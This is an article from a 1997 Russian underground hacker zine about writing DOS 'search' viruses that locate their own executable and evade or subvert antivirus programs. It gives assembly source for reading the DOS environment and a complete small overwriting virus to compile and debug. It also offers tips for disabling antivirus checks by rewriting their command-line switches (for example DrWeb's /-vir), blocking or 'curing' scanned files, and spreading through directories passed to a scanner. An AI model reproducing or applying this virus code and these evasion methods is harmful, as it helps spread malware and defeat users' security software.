▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ Copyright (c) 1997, by DRuG ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ ████████████ ████▄▀███████▄ █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
█ "TOP Device" - █ ████████████ ██████ ███████▄ █ ▀▀▄ █ █▀█ ▀▀█ █
█ Underground █ ██████ ▄▄▄██ ███ ██ ██▀ █ ▄▀ █▄█ ▄█▄ █
█ Hackers 'Zine! █ ██████ █████████ ██████▀ █ █▄▄ ▄▄█ █ █
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ ██████ ███████▀▄█████ █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ D E V I C E ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
Issue 2. December 1997.
ОТКУДА ТЫ, МОЯ ПРОГРАММА? ИЛИ КАК СТЕЛСИРУЕТСЯ SEARCH
by RedArc // TAVC
Это одна из моих первых публикаций в этом журнале, посему мне
хочется дать несколько полезных советов его читателям.
Сегодня вирусный мир наполнен разнообразными зверушками с
совершенно различными их алгоритмами и средами обитания... Но среди
всех представителей я все же хочу выделить два. Это наиболее простейшие
вирусы - WordMacro и SEARCH. Дело в том, что они являются как бы
многоплатформенными. И в самом деле, что происходит с резидентным супер
стелсом и супер полиморфиком, когда я захлопываю DOS-окно, сидя под
своей WinNT? А уж если вирус садится в память из MBR при загрузке
(файлово-загрузочный), то в новых операционках он уже заранее
обречен, так как та же Win95 не только не даст ему писать в сектора
через int 13h, но даже виртуализирует порты. И только обычные вирусы
SEARCH не теряют своей актуальности в захвативших почти все компьютеры
в мире операционной системе от MicroSoft. Но это еще не все их
достоинство. Они так же могут быть полиморфными и даже... стелсами,
т.е. невидимками! Разумеется, об этом вирмейкеры думали и раньше (Chaos
A.D issue 4 // Reminder // Психологическое стелсирование), но сегодня я
представлю на ваше рассмотрение свою статью, опубликованную в журнале
MooN BuG issue 4, выпускаемый группой TAVC. Пусть это будет небольшой
рекламмой нашему журналу, за что, я надеюсь, редактор меня сильно
ругать не будет... ;)
Я очень часто встречаю вопрос: "а как добраться до переменных
окружения?" или "как узнать имя программы, из которой стартует
вирус?"... Разумеется, что на первый взгляд это очень простые вопросы и
к вирмейкингу они имеют весьма далекое отношение... Но это только на
первый взгляд. Многие резидентные вирусы борятся с фагами весьма просто
- они им не дают стартавать, например, при активном MME.SSR и запуске
антивируса Лозинского AIDSTEST, выводится сообщение, типа "А не пора ли
Дедушке Лозинскому на пенсию?" (за точность фразы не ручаюсь).
Нерезидентные же вирусы довольствуются, по моим наблюдениям, только
физическим удалением антивирусов или их таблиц. А что же мешает столь
мною любимым сирчам блокировать запуск антивирусов? Правильно -
ничего! Достаточно проанализировать имя программы, из которой стартовал
вирус и если это антивирус - опаньки... Для этого достаточно залезть в
DOS Enviroment. А вот как залезть, я вижу, знают далеко не все, хотя
здесь, опять таки повторяюсь, нет ничего сложного.
Вот приведу пример исходного кода на языке Assembler, который
нужно откомпилировать в EXE-модуль. Эта маленькая программа выводит на
консоль все окружение DOS, в том числе и имя своего EXE-файла. Следует
учесть, что вывод осуществляется до тех пор, пока не встретится символ
'$', по этому сообщаю, что после имени EXE-файла идет нулевой символ
(db 0h), на чем, собственно, окружение и заканчивается. Собственное имя
файла вместе с путем запуска отделяется от предыдущей части DOS
Enviroment двумя словами (dw 0001h, 0000h).
=== Cut ===
.8086
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,ES:CSEG
ORG 100h
start:
mov ah,62h
int 21h ;получим в регистре BX сегментный адресс PSP задачи
mov es,bx
mov ax,es:[02ch] ;по смещению 02ch в PSP лежит
;сегментный адресс DOS Enviroment
mov ds,ax
mov ah,09h
xor dx,dx
int 21h
mov ax,4c00h
int 21h
CSEG ENDS
END START
=== Cut ===
Приведу пример простейшего OverWrite-вируса, который таким образом
ищет самого себя на диске и... сам себя заражает... Этот исходник был
когда то опубликован в эхоконференции SU.VIRUS (FidoNet)... ;) Пример
следует откомпиллировать в COM-программу. Желательно так же погонять
его под отладчиком, но не забывайте про стартовые значения регистров!
=== Cut ===
Model Tiny
.Code
org 100h
start:
mov es,word ptr ds:[2ch]
xchg cx,di
xchg di,bx
inc al
next_byte:
repne scasw
mov ax,3d02h
xchg dx,di
push ds
push es
pop ds
int 21h
xchg ax,bx
pop ds
xchg dx,si
xchg ax,cx
mov ah,40h
int 21h
ret
end start
=== Cut ===
Если же по каким-либо причинам PSP было уничтожено, то есть еще
один способ самонахождения программы, но к вирусам это действительно
уже не относится... Для несаморазмножающейся программы ;) достаточно
иметь некую сигнатуру (специальный идентифицирующий набор байт) по
определенному смещению и при запуске сканировать каталог|каталоги по
PATH|диск|диски просматривая программы на наличие этой сигнатуры по
этому смещению... Также, возможно, в качестве этой сигнатуры может
послужить обычная текстовая строка. Некоторые антивирусы именно так и
находят своих "собратьев", например, ADINF Cure Module ищет по дереву
каталогов на доступных дисках ревизор ADINF.
Да, совсем забыл, если вы просто заблокируете запуск
инфицированного вами антивируса, то это обязательно вызовет подозрения
у юзера. Скажу вам по секрету ;) что многие антивирусы имеют целый
набор очень полезных ключей, например, запрет тестирования памяти или
запрет самотестирования, запрет подключения вирусных баз (!) (для DrWeb
это /-vir)... Таки лучше будет, если вирус просмотрит список ключей, с
которыми запущен антивирус, и немного их "подправит"... ;) Для этого
всего навсего нужно получить доступ к DTA задачи.. Теперь мы знаем, что
и нерезидентные вирусы могут стелсироваться! ;))))))))) Да, а как же
получить этот доступ к DTA? Дык элементарно, Ватсон! (c) Холмс ж) DTA
задачи располагается со смещения 80h байт от начала PSP программы. При
этом следует учесть, что первый байт указывает на то, сколько
символов в строке параметров, т.е. собственно, ее длина, далее следует
символ #32 (пробел, который был вставлен после имени программы перед
ключами), а затем и сами ключи... Только не забудьте после внесения
изменений в параметры изменить и значение длины строки... ;)
Приведу фрагменты программы, которая проверяет свою строку параметров.
1
READ_PARAM:
cmp byte ptr cs:[80h],0
je INFORMATIONS
cld
mov al,'e'
call CMP_PARAM
je Er_Print
jmp TESTED_Ok
Er_Print:
inc Er_byte
TESTED_Ok:
mov al,'o'
call CMP_PARAM
1
2
CMP_PARAM:
mov ch,0
mov cl,cs:[80h]
mov di,82h
repne scasb
ret
2
Кроме всего прочего, если параметром антивирусу был задан
какой-либо файл, то нерезидентный вирус может первым проверить этот
файл и если он окажется инфицированным, то возможно поступить одним из
следующих способов: заблокировать обращение к этому файлу, подставить
другое имя или самостоятельно излечить этот файл. В первых двух случаях
юзер также может заметить неладное, а в третьем случае вирус должен
содержать в себе процедуру лечения... Кроме того, вирусу может быть
передан каталог для сканирования и вирус может "обработать" этот
каталог. Да, кроме перечисленных выше способов есть еще один -
прибивать инфицированные файлы, но это imho самоедство.
Если же вы уверены, что в ближайшее время этот антивирус не даст
никакой реакции на ваш вирус, то вы вполне сможете заюзать передаваемый
ему путь для размножения. Это может быть особенно полезно, если
антивирус сканирует каталог с новыми поступлениями, которые будут затем
раскиданы по диску (дискам). Тогда даже ревизор ADINF окажется
бессильным перед вашим вирусом.